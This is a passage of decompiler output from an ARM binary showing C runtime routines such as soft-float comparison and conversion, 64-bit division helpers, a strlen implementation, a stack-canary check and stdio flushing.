if ( (unsigned int)v16 > 0xFD )
{
v36 = (unsigned int)v38 >= 0x700;
v37 = v38 == 1792;
}
if ( !v37 & v36 )
JUMPOUT(&loc_EF74);
}
else
{
v41 = __OFADD__(v8, v5 >> 1);
v42 = v8 + (v5 >> 1);
v39 = v42 == 0;
v40 = v42 < 0;
if ( !((unsigned __int8)((v42 < 0) ^ v41) | (v42 == 0)) )
{
v41 = __OFSUB__(v5, v42);
v39 = v5 == v42;
v40 = ((v5 - v42) & 0x80000000) != 0;
}
if ( (unsigned __int8)(v40 ^ v41) | v39 )
JUMPOUT(&loc_EF74);
}
}
//----- (0000F290) --------------------------------------------------------
void __fastcall sub_F290(int a1, int a2, int a3, unsigned int a4)
{
int v4; // r4@0
int v5; // r12@0
int v6; // r5@1
char v7; // zf@1
char v8; // zf@15
v6 = v5 & (a4 >> 20);
v7 = v4 == v5;
if ( v4 == v5 )
v7 = v6 == v5;
if ( v7 )
JUMPOUT(&loc_F0F0);
if ( v4 == v5 )
{
if ( a1 | (a2 << 12) )
JUMPOUT(&loc_F0F0);
if ( v6 != v5 )
JUMPOUT(&loc_F0D8);
JUMPOUT(&loc_F0F0);
}
if ( v6 == v5 )
{
if ( !(a3 | (a4 << 12)) )
JUMPOUT(&loc_F08C);
JUMPOUT(&loc_F0F0);
}
v8 = (a1 | 2 * a2) == 0;
if ( a1 | 2 * a2 )
v8 = (a3 | 2 * a4) == 0;
if ( !v8 )
JUMPOUT(&loc_F024);
if ( a1 | 2 * a2 )
JUMPOUT(&loc_F0D8);
if ( a3 | 2 * a4 )
JUMPOUT(&loc_F08C);
JUMPOUT(&loc_F0F0);
}
//----- (0000F310) --------------------------------------------------------
int __fastcall sub_F310(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
char v4; // zf@1
char v5; // zf@4
int result; // r0@10
char v7; // cf@11
char v8; // zf@11
signed int v9; // r0@16
v4 = ~((signed int)(2 * a2) >> 21) == 0;
if ( ~((signed int)(2 * a2) >> 21) )
v4 = ~(2 * a4 >> 21) == 0;
if ( v4 && (!~((signed int)(2 * a2) >> 21) && a1 | (a2 << 12) || !~(2 * a4 >> 21) && a3 | (a4 << 12)) )
{
result = 1;
}
else
{
v5 = (a1 | 2 * a2) == 0;
if ( !(a1 | 2 * a2) )
v5 = (a3 | 2 * a4) == 0;
if ( !v5 )
v5 = a2 == a4;
if ( v5 && a1 == a3 )
{
result = 0;
}
else
{
v7 = 0;
v8 = a2 == a4;
if ( ((a2 ^ a4) & 0x80000000) == 0 )
{
v7 = a2 >= a4;
v8 = a2 == a4;
}
if ( v8 )
v7 = a1 >= a3;
if ( v7 )
v9 = a4 >> 31;
else
v9 = ~(a4 >> 31);
result = v9 | 1;
}
}
return result;
}
//----- (0000F398) --------------------------------------------------------
unsigned int __fastcall sub_F398(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
unsigned int v4; // r12@1
unsigned int result; // r0@1
v4 = a1;
result = a3;
sub_F3B4(a3, a4, v4, a2);
return result;
}
//----- (0000F3B4) --------------------------------------------------------
void __fastcall __spoils<R1,R2,R3,R12> sub_F3B4(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
sub_F310(a1, a2, a3, a4);
}
//----- (0000F3C8) --------------------------------------------------------
void __fastcall sub_F3C8(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0
sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}
//----- (0000F3DC) --------------------------------------------------------
void __fastcall sub_F3DC(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0
sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}
//----- (0000F3F0) --------------------------------------------------------
void __fastcall sub_F3F0(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4)
{
int v4; // lr@0
sub_F3B4(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}
//----- (0000F404) --------------------------------------------------------
void __fastcall sub_F404(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
int v4; // lr@0
sub_F398(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}
//----- (0000F418) --------------------------------------------------------
void __fastcall sub_F418(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4)
{
int v4; // lr@0
sub_F398(a1, a2, a3, a4);
JUMPOUT(__CS__, v4);
}
//----- (0000F42C) --------------------------------------------------------
unsigned int __fastcall sub_F42C(unsigned int a1, int a2)
{
signed int v2; // r2@1
unsigned __int8 v3; // cf@4
int v4; // r2@4
unsigned int result; // r0@3
v2 = 2 * a2 + 0x200000;
if ( (unsigned int)(2 * a2) >= 0xFFE00000 )
{
if ( a1 | (a2 << 12) )
return 0;
goto LABEL_10;
}
if ( 2 * a2 + 0x200000 >= 0 )
return 0;
v3 = (unsigned int)(v2 >> 21) <= 0xFFFFFC1F;
v4 = -993 - (v2 >> 21);
if ( !((v4 != 0) & v3) )
{
LABEL_10:
result = a2 & 0x80000000;
if ( !(a2 & 0x80000000) )
result = 0x7FFFFFFF;
return result;
}
result = ((a2 << 11) | 0x80000000 | (a1 >> 21)) >> v4;
if ( a2 & 0x80000000 )
result = -result;
return result;
}
//----- (0000F488) --------------------------------------------------------
unsigned int __fastcall sub_F488(int a1, int a2)
{
int v2; // r12@0
unsigned __int8 v3; // cf@1
char v4; // zf@1
int v5; // r3@1
int v6; // r2@7
unsigned int result; // r0@7
unsigned int v8; // r2@13
unsigned int v9; // r0@13
v3 = (unsigned int)(2 * a2) >= 0x70000000;
v5 = 2 * a2 - 1879048192;
v4 = 2 * a2 == 1879048192;
if ( (unsigned int)(2 * a2) >= 0x70000000 )
{
v3 = (unsigned int)v5 >= 0x200000;
v2 = 2 * a2 - 1881145344;
v4 = v5 == 0x200000;
}
if ( v3 )
{
v3 = (unsigned int)v2 <= 0x1FC00000;
v4 = 532676608 == v2;
}
if ( !v4 & v3 )
{
LABEL_7:
v6 = 8 * a1;
result = 4 * v5 + ((unsigned int)(8 * a1) >= 0x80000000) + (a2 & 0x80000000 | ((unsigned int)a1 >> 29));
if ( v6 == 0x80000000 )
result &= 0xFFFFFFFE;
return result;
}
if ( !(a2 & 0x40000000) )
{
if ( (2 * a2 - 1830813696 < 0) ^ __OFADD__(2 * a2 - 1879048192, 48234496) )
return a2 & 0x80000000;
a2 |= 0x100000u;
v8 = 24 - ((unsigned int)(v5 + 48234496) >> 21);
v4 = a1 << (((unsigned int)(v5 + 48234496) >> 21) + 8) == 0;
v9 = (unsigned int)a1 >> v8;
if ( !v4 )
v9 |= 1u;
a1 = v9 | ((a2 & 0x1FFFFF) << (((unsigned int)(v5 + 48234496) >> 21) + 8));
v5 = 2 * ((a2 & 0x1FFFFFu) >> v8);
goto LABEL_7;
}
if ( ~(2 * a2 >> 21) || !(a1 | (a2 << 12)) )
result = a2 & 0x80000000 | 0x7F800000;
else
result = 2143289344;
return result;
}
//----- (0000F528) --------------------------------------------------------
int __fastcall sub_F528(int a1, int a2, int a3)
{
return a3 * a1;
}
//----- (0000F53C) --------------------------------------------------------
unsigned __int64 __fastcall sub_F53C(__int64 a1, __int64 a2)
{
int v3; // [sp+0h] [bp-10h]@0
return sub_F5D0(a1, a2, v3);
}
//----- (0000F558) --------------------------------------------------------
int __fastcall sub_F558(__int64 a1, __int64 a2)
{
int v3; // [sp+0h] [bp-10h]@0
return sub_F58C(a1, a2, v3);
}
//----- (0000F58C) --------------------------------------------------------
int __fastcall sub_F58C(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // r4@1
__int64 v4; // r6@1
__int64 v5; // r0@1
v3 = a2;
v4 = a1;
LODWORD(v5) = sub_10EE0(a1, HIDWORD(a1), a2, HIDWORD(a2));
*(_QWORD *)a3 = v4 - v3 * v5;
return v5;
}
//----- (0000F5D0) --------------------------------------------------------
unsigned __int64 __fastcall sub_F5D0(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // r4@1
__int64 v4; // r6@1
unsigned __int64 result; // r0@1
v3 = a2;
v4 = a1;
result = sub_10A64(a1, HIDWORD(a1), a2, SHIDWORD(a2));
*(_QWORD *)a3 = v4 - v3 * result;
return result;
}
//----- (00010A64) --------------------------------------------------------
unsigned __int64 __fastcall sub_10A64(unsigned int a1, unsigned int a2, int a3, int a4)
{
int v4; // r4@1
int v5; // r5@1
int v6; // r10@2
char v7; // zf@6
unsigned int v8; // r12@6
unsigned int v9; // r5@6
int v10; // r8@6
unsigned int v11; // r3@9
int v12; // r9@13
int v13; // r1@13
int v14; // r11@13
unsigned int v15; // r0@13
int v16; // r11@13
int v17; // r8@13
int v18; // r6@13
unsigned int v19; // r8@17
int v20; // r1@17
int v21; // r11@17
unsigned int v22; // r0@17
int v23; // r11@17
int v24; // r3@17
int v25; // r11@18
int v26; // r8@21
unsigned int v27; // r3@24
unsigned int v28; // r8@25
unsigned int v29; // r7@25
unsigned int v30; // r6@26
unsigned int v31; // r0@26
int v32; // r8@26
int v33; // r9@26
int v34; // r1@26
int v35; // r11@26
unsigned int v36; // r0@26
int v37; // r11@26
int v38; // r3@26
int v39; // r6@26
unsigned int v40; // r11@30
int v41; // r1@30
int v42; // ST04_4@30
unsigned int v43; // r0@30
int v44; // r3@30
int v45; // r2@30
int v46; // r9@35
int v47; // r1@35
int v48; // r11@35
unsigned int v49; // r0@35
int v50; // r11@35
int v51; // r3@35
int v52; // r8@35
unsigned int v53; // r11@39
int v54; // r1@39
int v55; // ST04_4@39
unsigned int v56; // r0@39
int v57; // r3@39
int v58; // r2@39
int v59; // r3@40
unsigned __int8 v60; // cf@46
unsigned int v61; // r8@51
int v62; // r6@51
int v63; // r11@51
int v64; // r1@51
int v65; // ST04_4@51
unsigned int v66; // r0@51
int v67; // r1@51
int v68; // r8@51
int v69; // r3@51
unsigned int v70; // r2@51
unsigned int v71; // r4@55
int v72; // r1@55
int v73; // ST04_4@55
unsigned int v74; // r0@55
int v75; // r3@55
int v76; // r1@55
int v77; // r3@59
int v78; // r12@59
int v79; // r4@59
int v80; // r2@59
int v81; // r4@59
int v82; // r12@59
int v83; // r1@59
unsigned int v84; // r12@59
unsigned __int64 v85; // kr08_8@61
unsigned __int64 v86; // r2@69
unsigned int v88; // [sp+8h] [bp-30h]@55
int v89; // [sp+Ch] [bp-2Ch]@51
v4 = a3;
v5 = a4;
if ( (a2 & 0x80000000) != 0 )
{
v60 = a1 <= 0;
a1 = -a1;
a2 = -(!v60 + a2);
v6 = -1;
}
else
{
v6 = 0;
}
if ( a4 < 0 )
{
v4 = -a3;
v5 = -(((unsigned int)a3 > 0) + a4);
v6 = ~v6;
}
v8 = v5;
v7 = v5 == 0;
v9 = a1;
v10 = a2;
if ( v7 )
{
if ( v4 > a2 )
{
v11 = __clz(v4);
if ( v11 )
{
v4 <<= v11;
v10 = (a1 >> (32 - v11)) | (a2 << v11);
}
if ( v11 )
v9 = a1 << v11;
sub_E9C8(v10, (unsigned int)v4 >> 16);
v12 = (unsigned __int16)v4;
v14 = v13;
v15 = sub_E91C(v10, (unsigned int)v4 >> 16);
v16 = (v9 >> 16) | (v14 << 16);
v17 = (unsigned __int16)v4 * v15;
v18 = v15;
if ( v16 < (unsigned int)v17 )
{
v60 = __CFADD__(v16, v4);
v16 += v4;
v18 = v15 - 1;
if ( !v60 && v16 < (unsigned int)v17 )
{
v18 = v15 - 2;
v16 += v4;
}
}
v19 = v16 - v17;
sub_E9C8(v19, (unsigned int)v4 >> 16);
v21 = v20;
v22 = sub_E91C(v19, (unsigned int)v4 >> 16);
v23 = (unsigned __int16)v9 | (v21 << 16);
v24 = v12 * v22;
if ( v23 < v12 * v22 )
{
v60 = __CFADD__(v23, v4);
v25 = v23 + v4;
--v22;
if ( !v60 && v25 < (unsigned int)v24 )
--v22;
}
v26 = v22 | (v18 << 16);
goto LABEL_67;
}
if ( !v4 )
v4 = sub_E91C(1u, 0);
v27 = __clz(v4);
if ( v27 )
{
v4 <<= v27;
v30 = (unsigned int)v10 >> (32 - v27);
v31 = (unsigned int)v10 >> (32 - v27);
v32 = (v9 >> (32 - v27)) | (v10 << v27);
v9 <<= v27;
sub_E9C8(v31, (unsigned int)v4 >> 16);
v33 = (unsigned __int16)v4;
v35 = v34;
v36 = sub_E91C(v30, (unsigned int)v4 >> 16);
v37 = ((unsigned int)v32 >> 16) | (v35 << 16);
v38 = (unsigned __int16)v4 * v36;
v39 = v36;
if ( v37 < (unsigned int)v38 )
{
v60 = __CFADD__(v37, v4);
v37 += v4;
v39 = v36 - 1;
if ( !v60 && v37 < (unsigned int)v38 )
{
v39 = v36 - 2;
v37 += v4;
}
}
v40 = v37 - v38;
sub_E9C8(v40, (unsigned int)v4 >> 16);
v42 = v41;
v43 = sub_E91C(v40, (unsigned int)v4 >> 16);
v44 = (unsigned __int16)v32 | (v42 << 16);
v45 = v33 * v43;
if ( v44 < v33 * v43 )
{
v60 = __CFADD__(v44, v4);
v44 += v4;
--v43;
if ( !v60 && v44 < (unsigned int)v45 )
{
--v43;
v44 += v4;
}
}
v28 = v44 - v45;
v29 = v43 | (v39 << 16);
}
else
{
v28 = v10 - v4;
v29 = 1;
}
sub_E9C8(v28, (unsigned int)v4 >> 16);
v46 = (unsigned __int16)v4;
v48 = v47;
v49 = sub_E91C(v28, (unsigned int)v4 >> 16);
v50 = (v9 >> 16) | (v48 << 16);
v51 = (unsigned __int16)v4 * v49;
v52 = v49;
if ( v50 < (unsigned int)v51 )
{
v60 = __CFADD__(v50, v4);
v50 += v4;
v52 = v49 - 1;
if ( !v60 && v50 < (unsigned int)v51 )
{
v52 = v49 - 2;
v50 += v4;
}
}
v53 = v50 - v51;
sub_E9C8(v53, (unsigned int)v4 >> 16);
v55 = v54;
v56 = sub_E91C(v53, (unsigned int)v4 >> 16);
v57 = (unsigned __int16)v9 | (v55 << 16);
v58 = v46 * v56;
if ( v57 < v46 * v56 )
{
v60 = __CFADD__(v57, v4);
v59 = v57 + v4;
--v56;
if ( !v60 && v59 < (unsigned int)v58 )
--v56;
}
v26 = v56 | (v52 << 16);
}
else
{
if ( v8 > a2 )
{
LABEL_68:
v29 = 0;
v26 = 0;
goto LABEL_69;
}
v29 = __clz(v8);
if ( !v29 )
{
v60 = a2 >= v8;
if ( a2 <= v8 )
v60 = a1 >= v4;
if ( v60 )
{
v26 = 1;
goto LABEL_69;
}
goto LABEL_68;
}
v61 = a2 >> (32 - v29);
v62 = ((unsigned int)v4 >> (32 - v29)) | (v8 << v29);
v89 = (a1 >> (32 - v29)) | (a2 << v29);
sub_E9C8(a2 >> (32 - v29), (unsigned int)v62 >> 16);
v63 = (unsigned __int16)v62;
v65 = v64;
v66 = sub_E91C(v61, (unsigned int)v62 >> 16);
v67 = (unsigned __int16)v62 * v66;
v68 = v66;
v69 = ((unsigned int)v89 >> 16) | (v65 << 16);
v70 = v4 << v29;
if ( v69 < (unsigned int)v67 )
{
v60 = __CFADD__(v69, v62);
v69 += v62;
v68 = v66 - 1;
if ( !v60 && v69 < (unsigned int)v67 )
{
v68 = v66 - 2;
v69 += v62;
}
}
v71 = v69 - v67;
v88 = v70;
sub_E9C8(v69 - v67, (unsigned int)v62 >> 16);
v73 = v72;
v74 = sub_E91C(v71, (unsigned int)v62 >> 16);
v75 = (unsigned __int16)v89 | (v73 << 16);
v76 = v63 * v74;
if ( v75 < v63 * v74 )
{
v60 = __CFADD__(v75, v62);
v75 += v62;
--v74;
if ( !v60 && v75 < (unsigned int)v76 )
{
v75 += v62;
--v74;
}
}
v77 = v75 - v76;
v26 = v74 | (v68 << 16);
v78 = v26 & ~((unsigned int)v26 >> 16 << 16);
v79 = v88 & ~(v88 >> 16 << 16);
v80 = v78 * v79;
v81 = ((unsigned int)v26 >> 16) * v79;
v82 = (v88 >> 16) * v78;
v83 = ((unsigned int)v26 >> 16) * (v88 >> 16);
v60 = __CFADD__(v81, v82);
v84 = v81 + v82;
if ( v60 )
v83 += 0x10000;
v85 = __PAIR__(v83, v80) + __PAIR__(v84 >> 16, v84 << 16);
if ( (__PAIR__(v83, v80) + __PAIR__(v84 >> 16, v84 << 16)) >> 32 > (unsigned int)v77
|| ((unsigned int)v85 > v9 << v29 ? (v29 = HIDWORD(v85) == v77) : (v29 = 0), v29) )
{
--v26;
LABEL_67:
v29 = 0;
goto LABEL_69;
}
}
LABEL_69:
v86 = __PAIR__(v29, v26);
if ( v6 )
{
LODWORD(v86) = -v26;
HIDWORD(v86) = -(((unsigned int)v26 > 0) + v29);
}
return v86;
}
//----- (00010EE0) --------------------------------------------------------
signed int __fastcall sub_10EE0(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4)
{
unsigned int v4; // r4@1
unsigned int v5; // r6@1
unsigned int v6; // r5@1
int v7; // r7@1
unsigned int v8; // r3@3
int v9; // r10@7
int v10; // r1@7
int v11; // r9@7
unsigned int v12; // r0@7
int v13; // r9@7
int v14; // r7@7
int v15; // r4@7
unsigned int v16; // r7@11
int v17; // r1@11
int v18; // r11@11
unsigned int v19; // r0@11
int v20; // r11@11
int v21; // r3@11
int v22; // r11@12
int v23; // r4@15
unsigned int v24; // r3@18
unsigned int v25; // r4@19
unsigned int v26; // r7@20
int v27; // r10@20
int v28; // r1@20
int v29; // r4@20
unsigned int v30; // r11@20
unsigned int v31; // r11@24
int v32; // r1@24
int v33; // r4@24
unsigned int v34; // r3@24
int v35; // r10@29
int v36; // r1@29
int v37; // r11@29
unsigned int v38; // r0@29
int v39; // r11@29
int v40; // r9@29
int v41; // r4@29
unsigned int v42; // r9@33
int v43; // r1@33
int v44; // r11@33
unsigned int v45; // r0@33
int v46; // r11@33
int v47; // r3@33
int v48; // r11@34
unsigned int v49; // r8@39
unsigned __int8 v50; // cf@40
int v51; // r7@45
unsigned int v52; // r9@45
int v53; // r4@45
int v54; // r11@45
int v55; // r1@45
int v56; // ST04_4@45
unsigned int v57; // r0@45
int v58; // r3@45
unsigned int v59; // r2@45
int v60; // r1@45
int v61; // r9@45
unsigned int v62; // r5@49
int v63; // r1@49
int v64; // ST04_4@49
unsigned int v65; // r0@49
int v66; // r3@49
int v67; // r1@49
int v68; // r3@53
int v69; // r12@53
int v70; // r5@53
int v71; // r2@53
int v72; // r5@53
int v73; // r12@53
int v74; // r1@53
unsigned int v75; // r12@53
unsigned __int64 v76; // kr08_8@55
char v77; // r3@56
int v78; // r8@57
unsigned int v80; // [sp+0h] [bp-30h]@49
v4 = a2;
v5 = a1;
v6 = a3;
v7 = a2;
if ( !a4 )
{
if ( a3 <= a2 )
{
if ( !a3 )
v6 = sub_E91C(1u, 0);
v24 = __clz(v6);
if ( v24 )
{
v6 <<= v24;
v26 = v4 >> (32 - v24);
v27 = (v5 >> (32 - v24)) | (v4 << v24);
v5 <<= v24;
sub_E9C8(v4 >> (32 - v24), v6 >> 16);
v29 = ((unsigned int)v27 >> 16) | (v28 << 16);
v30 = (unsigned __int16)v6 * sub_E91C(v26, v6 >> 16);
if ( v29 < v30 )
{
v50 = __CFADD__(v29, v6);
v29 += v6;
if ( !v50 && v29 < v30 )
v29 += v6;
}
v31 = v29 - v30;
sub_E9C8(v31, v6 >> 16);
v33 = (unsigned __int16)v27 | (v32 << 16);
v34 = (unsigned __int16)v6 * sub_E91C(v31, v6 >> 16);
if ( v33 < v34 )
{
v50 = __CFADD__(v33, v6);
v33 += v6;
if ( !v50 && v33 < v34 )
v33 += v6;
}
v25 = v33 - v34;
}
else
{
v25 = v4 - v6;
}
sub_E9C8(v25, v6 >> 16);
v35 = (unsigned __int16)v6;
v37 = v36;
v38 = sub_E91C(v25, v6 >> 16);
v39 = (v5 >> 16) | (v37 << 16);
v40 = (unsigned __int16)v6 * v38;
v41 = v38;
if ( v39 < (unsigned int)v40 )
{
v50 = __CFADD__(v39, v6);
v39 += v6;
v41 = v38 - 1;
if ( !v50 && v39 < (unsigned int)v40 )
{
v41 = v38 - 2;
v39 += v6;
}
}
v42 = v39 - v40;
sub_E9C8(v42, v6 >> 16);
v44 = v43;
v45 = sub_E91C(v42, v6 >> 16);
v46 = (unsigned __int16)v5 | (v44 << 16);
v47 = v35 * v45;
if ( v46 < v35 * v45 )
{
v50 = __CFADD__(v46, v6);
v48 = v46 + v6;
--v45;
if ( !v50 && v48 < (unsigned int)v47 )
--v45;
}
v23 = v45 | (v41 << 16);
}
else
{
v8 = __clz(a3);
if ( v8 )
{
v6 = a3 << v8;
v7 = (a1 >> (32 - v8)) | (a2 << v8);
}
if ( v8 )
v5 = a1 << v8;
sub_E9C8(v7, v6 >> 16);
v9 = (unsigned __int16)v6;
v11 = v10;
v12 = sub_E91C(v7, v6 >> 16);
v13 = (v5 >> 16) | (v11 << 16);
v14 = (unsigned __int16)v6 * v12;
v15 = v12;
if ( v13 < (unsigned int)v14 )
{
v50 = __CFADD__(v13, v6);
v13 += v6;
v15 = v12 - 1;
if ( !v50 && v13 < (unsigned int)v14 )
{
v15 = v12 - 2;
v13 += v6;
}
}
v16 = v13 - v14;
sub_E9C8(v16, v6 >> 16);
v18 = v17;
v19 = sub_E91C(v16, v6 >> 16);
v20 = (unsigned __int16)v5 | (v18 << 16);
v21 = v9 * v19;
if ( v20 < v9 * v19 )
{
v50 = __CFADD__(v20, v6);
v22 = v20 + v6;
--v19;
if ( !v50 && v22 < (unsigned int)v21 )
--v19;
}
v23 = v19 | (v15 << 16);
}
return v23;
}
if ( a4 > a2 )
return 0;
v49 = __clz(a4);
if ( !v49 )
{
v50 = a2 >= a4;
if ( a2 <= a4 )
v50 = a1 >= a3;
if ( v50 )
return 1;
return 0;
}
v51 = (a3 >> (32 - v49)) | (a4 << v49);
v52 = a2 >> (32 - v49);
v53 = (a1 >> (32 - v49)) | (a2 << v49);
sub_E9C8(a2 >> (32 - v49), (unsigned int)v51 >> 16);
v54 = (unsigned __int16)v51;
v56 = v55;
v57 = sub_E91C(v52, (unsigned int)v51 >> 16);
v58 = ((unsigned int)v53 >> 16) | (v56 << 16);
v59 = v6 << v49;
v60 = (unsigned __int16)v51 * v57;
v61 = v57;
if ( v58 < (unsigned int)v60 )
{
v50 = __CFADD__(v58, v51);
v58 += v51;
v61 = v57 - 1;
if ( !v50 && v58 < (unsigned int)v60 )
{
v61 = v57 - 2;
v58 += v51;
}
}
v62 = v58 - v60;
v80 = v59;
sub_E9C8(v58 - v60, (unsigned int)v51 >> 16);
v64 = v63;
v65 = sub_E91C(v62, (unsigned int)v51 >> 16);
v66 = (unsigned __int16)v53 | (v64 << 16);
v67 = v54 * v65;
if ( v66 < v54 * v65 )
{
v50 = __CFADD__(v66, v51);
v66 += v51;
--v65;
if ( !v50 && v66 < (unsigned int)v67 )
{
v66 += v51;
--v65;
}
}
v68 = v66 - v67;
v23 = v65 | (v61 << 16);
v69 = v23 & ~((unsigned int)v23 >> 16 << 16);
v70 = v80 & ~(v80 >> 16 << 16);
v71 = v69 * v70;
v72 = ((unsigned int)v23 >> 16) * v70;
v73 = (v80 >> 16) * v69;
v74 = ((unsigned int)v23 >> 16) * (v80 >> 16);
v50 = __CFADD__(v72, v73);
v75 = v72 + v73;
if ( v50 )
v74 += 0x10000;
v76 = __PAIR__(v74, v71) + __PAIR__(v75 >> 16, v75 << 16);
if ( (__PAIR__(v74, v71) + __PAIR__(v75 >> 16, v75 << 16)) >> 32 > (unsigned int)v68
|| ((v77 = HIDWORD(v76) == v68, (unsigned int)v76 > v5 << v49) ? (v78 = v77 & 1) : (v78 = 0), v78) )
--v23;
return v23;
}
//----- (00013628) --------------------------------------------------------
int __fastcall sub_13628(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int (__fastcall *a10)(_DWORD))
{
return a10(-a1);
}
//----- (000185F4) --------------------------------------------------------
int __fastcall sub_185F4(int a1)
{
int i; // r3@1
int v2; // r3@2
int v3; // r0@9
int v4; // r1@9
int v5; // t1@9
int v6; // r3@9
int v7; // t1@11
int v8; // t1@14
int v9; // t1@17
int v10; // t1@20
int v11; // t1@23
int v12; // t1@26
int v13; // t1@29
int v14; // t1@32
char v16; // [sp+4h] [bp-4h]@3
i = a1 & 3;
__pld((void *)a1);
__pld((void *)(a1 + 32));
if ( a1 & 3 )
{
v2 = *(_BYTE *)a1;
if ( *(_BYTE *)a1 )
{
v16 = a1 + 1;
for ( i = 1; ; v16 = a1 + i )
{
if ( !(v16 & 3) )
{
a1 += i;
goto LABEL_9;
}
++i;
if ( !*(_BYTE *)(a1 + i - 1) )
break;
}
v2 = i - 1;
}
}
else
{
LABEL_9:
v5 = *(_DWORD *)a1;
v3 = a1 + 4;
v4 = v5;
v6 = i - v3;
while ( 1 )
{
__pld((void *)(v3 + 64));
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v7 = *(_DWORD *)v3;
v3 += 4;
v4 = v7;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v8 = *(_DWORD *)v3;
v3 += 4;
v4 = v8;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v9 = *(_DWORD *)v3;
v3 += 4;
v4 = v9;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v10 = *(_DWORD *)v3;
v3 += 4;
v4 = v10;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v11 = *(_DWORD *)v3;
v3 += 4;
v4 = v11;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v12 = *(_DWORD *)v3;
v3 += 4;
v4 = v12;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v13 = *(_DWORD *)v3;
v3 += 4;
v4 = v13;
if ( (v4 - ((unsigned int)dword_18734 >> 7)) & dword_18734 & ~v4 )
break;
v14 = *(_DWORD *)v3;
v3 += 4;
v4 = v14;
}
v2 = v6 + v3;
if ( (unsigned __int8)v4 )
{
++v2;
if ( v4 & 0xFF00 )
{
++v2;
if ( v4 & 0xFF0000 )
++v2;
}
}
}
return v2;
}
// 18734: using guessed type int dword_18734;
//----- (00018928) --------------------------------------------------------
int __fastcall sub_18928(int a1)
{
int v1; // r4@1
int result; // r0@1
int v3; // [sp+0h] [bp-30h]@1
int v4; // [sp+24h] [bp-Ch]@1
v1 = *(_DWORD *)((char *)off_18958 + dword_1895C + 100660);
v4 = *(_DWORD *)v1;
result = (unsigned int)sub_1E8C8(a1, dword_18960, (int)&v3, (int)((char *)off_18958 + 100660)) <= 0;
if ( v4 != *(_DWORD *)v1 )
result = ((int (__fastcall *)(int))loc_1E9B0)(result);
return result;
}
// 18958: using guessed type void *off_18958;
// 1895C: using guessed type int dword_1895C;
// 18960: using guessed type int dword_18960;
//----- (00018964) --------------------------------------------------------
int __fastcall sub_18964(int a1, int a2, int a3, int a4, int a5, int a6)
{
int result; // r0@2
if ( a6 << 20 )
{
*(_DWORD *)sub_1FD74() = 22;
result = -1;
}
else
{
result = sub_E6BC(a1);
}
return result;
}
//----- (00018C08) --------------------------------------------------------
signed int __fastcall sub_18C08(int a1)
{
int v1; // r2@1
int v2; // r4@1
int v3; // r5@2
int v4; // r6@3
int v5; // r3@3
int v6; // r6@3
int v7; // r0@6
v1 = *(_WORD *)(a1 + 12);
v2 = a1;
if ( v1 & 8 )
{
v3 = *(_DWORD *)(a1 + 16);
if ( v3 )
{
v4 = *(_DWORD *)a1;
v5 = 0;
*(_DWORD *)a1 = v3;
v6 = v4 - v3;
if ( !(v1 << 30) )
v5 = *(_DWORD *)(a1 + 20);
*(_DWORD *)(a1 + 8) = v5;
while ( v6 > 0 )
{
v7 = (*(int (__fastcall **)(_DWORD, int, int))(v2 + 44))(*(_DWORD *)(v2 + 28), v3, v6);
if ( v7 <= 0 )
{
*(_WORD *)(v2 + 12) |= 0x40u;
return -1;
}
v6 -= v7;
v3 += v7;
}
}
}
return 0;
}
//----- (00018C54) --------------------------------------------------------
signed int __fastcall sub_18C54(int a1)
{
signed int result; // r0@2
__int16 v2; // r1@3
if ( a1 )
{
v2 = *(_WORD *)(a1 + 12);
if ( v2 & 0x18 )
{
result = sub_18C08(a1);
}
else
{
*(_DWORD *)sub_1FD74() = 9;
result = -1;
}
}
else
{
result = sub_19008(*(int (__fastcall **)(_DWORD))((char *)off_18C84 + dword_18C88 + 101468));
}
return result;
}
// 18C84: using guessed type void *off_18C84;
// 18C88: using guessed type int dword_18C88;
//----- (00018D40) --------------------------------------------------------
int sub_18D40()
{
char *v0; // r3@1
char *v1; // r2@1
char *v2; // r0@1
char *v3; // r4@1
int v4; // r5@2
int result; // r0@3
v0 = (char *)off_18D78 + 101708;
v1 = (char *)off_18D7C + 101834;
v2 = (char *)off_18D78 + 101912;
v3 = (char *)off_18D80 + 101720;
do
{
*(_DWORD *)v1 = v0;
*(_DWORD *)v0 = 0;
v4 = *(_DWORD *)v1;
v0 += 12;
v1 += 84;
*(_DWORD *)(v4 + 4) = 0;
}
while ( v0 != v2 );
sub_1B870(*(_DWORD *)&v3[dword_18D84]);
result = dword_18D88;
**(_DWORD **)&v3[dword_18D88] = 1;
return result;
}
// 18D78: using guessed type void *off_18D78;
// 18D7C: using guessed type void *off_18D7C;
// 18D80: using guessed type void *off_18D80;
// 18D84: using guessed type int dword_18D84;
// 18D88: using guessed type int dword_18D88;
//----- (00019008) --------------------------------------------------------
int __fastcall sub_19008(int (__fastcall *a1)(_DWORD))
{
int v1; // r4@1
int v2; // r6@1
int v3; // r5@2
int v4; // r7@2
int (__fastcall *v6)(_DWORD); // [sp+4h] [bp-1Ch]@1
v1 = *(_DWORD *)((char *)off_19040 + dword_19044 + 102420);
v6 = a1;
v2 = 0;
do
{
